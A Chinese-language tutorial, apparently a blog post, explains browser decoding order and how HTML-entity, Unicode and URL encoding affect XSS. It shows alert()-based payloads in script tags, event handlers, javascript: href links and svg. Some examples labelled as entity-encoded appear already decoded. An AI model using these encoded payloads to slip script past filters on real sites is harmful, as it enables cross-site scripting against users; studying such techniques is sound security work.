1. 前言
下面的涉及浏览器对编码的解码顺序
普遍的说法是HTML-->CSS-->Javascript
此处没写URL是因为,URL的解码顺序需要根据实际情况来定
浏览器解码遵循这样一个规则:
1、 html解析器对html文档进行解析,完成html解码并且创建DOM树
2、 JavaScript 或者CSS解析器对内联脚本进行解析,完成JS、CSS解码
3、 url解码会根据url所在的顺序不同而在JS解码前或者解码后
更多的解析顺序讲解请看:一次对浏览器解析和XSS的深度探究、浏览器的解码顺序(html解码、url解码以及js解码)
熟悉了解码顺序后对后面的理解很有帮助
2. script标签内
script标签内支持HTML实体编码和unicode编码
<script>
<!--在页面写入<img src=1 onerror=alert("test5")>
然后正常解析弹窗test5
-->
document.write('<img src=1 onerror=alert("test5")>');
<!--在页面写入<img src=x onerror=alert("test6")>
然后正常解析弹窗test6
-->
document.write('\u003c\u0069\u006d\u0067\u0020\u0073\u0072\u0063\u003d\u0078\u0020\u006f\u006e\u0065\u0072\u0072\u006f\u0072\u003d\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0074\u0065\u0073\u0074\u0036\u0022\u0029\u003e')
</script>
若 Unicode 转义序列存在于标识符中
,即变量名(如函数名等…)
,它会被进行解码,如下能正常弹窗:
<script>\u0061\u006c\u0065\u0072\u0074(10);</script>
[redbar]1、Unicode 序列不能出现在控制字符中,否则不能被解释。控制字符即'、"、()
等。
2、<script>u0061u006cu0065u0072u0074(u0031u0032)</script>不会弹窗,因为被编码部分为alert和12,此处的12被解码后为字符串,而这里任然使用数字的方式进行处理,所以不能被正常解释执行,可添加""或''使用字符串来进行处理
[/redbar]
3.事件处理函数
事件处理函数会调用 JS 解析器
。与unicode相关的触发情况可参考上面
浏览器读到了<标签开始构造语法树,然后 HTML 解码,解码之后发现 onerror 于是进行 一个 JS 解码,成功弹窗:
<!--若 Unicode 转义序列存在于标识符中,即变量名(如函数名等…),它会被进行解码。
unicode编码alert('1')
-->
<img src="1" onerror=\u0061\u006c\u0065\u0072\u0074('\u0031')>
除此之外,下列情况也能弹窗:
<!--下列均能弹窗-->
<!--<img src=x onerror=alert("test1") />-->
<div onclick="document.write('<img src=x onerror=alert("test1") />')">HTML实体编码</div>
<!--alert("test2")-->
<div onclick=alert("test2")>HTML实体编码2</div>
4. href属性
可使用伪协议进行弹窗,此处支持HTML实体编码和URL编码
[redbar]HTML实体编码可以对javascript:
进行编码(因为是先进行HTML实体解码,然后在进行后续的解码,在最后URL解析时可以正常解析javascript伪协议),而URL编码不可(因为超链接伪协议不完整,即协议部分不能进行除了HTML实体编码以外的任何编码)[/redbar]
所以URL编码的弹窗只能以如下方式实现:
<!--URL实体编码 javascript:alert("test4")-->
<a href="javascript:%61%6c%65%72%74%28%27test4%27%29">url编码</a><br>
在属性值内,HTML实体会被解码,而且HTML的解析先于URL,在进行URL解析之前,下列href内的实体已经被解码,即javascript:
已经为正常状态,不会影响到URL的解析,然后按照上一个所叙述的那种URL编码,即可正常弹窗
<!--HTML实体编码 javascript:alert("test3")-->
<a href="javascript:alert("test3")">HTML实体编码</a><br>
<!--HTML实体编码+URL编码 javascript:alert("2")-->
<a href="javascript:%61%6c%65%72%74%28%32%29">2</a>
5. svg标签
svg标签比较特殊,其遵循 XML 和 SVG 的定义,在 XML 中实体会自动转义
如下所示可弹窗test7
<svg>
<script>
alert("test7");
</script>
</svg>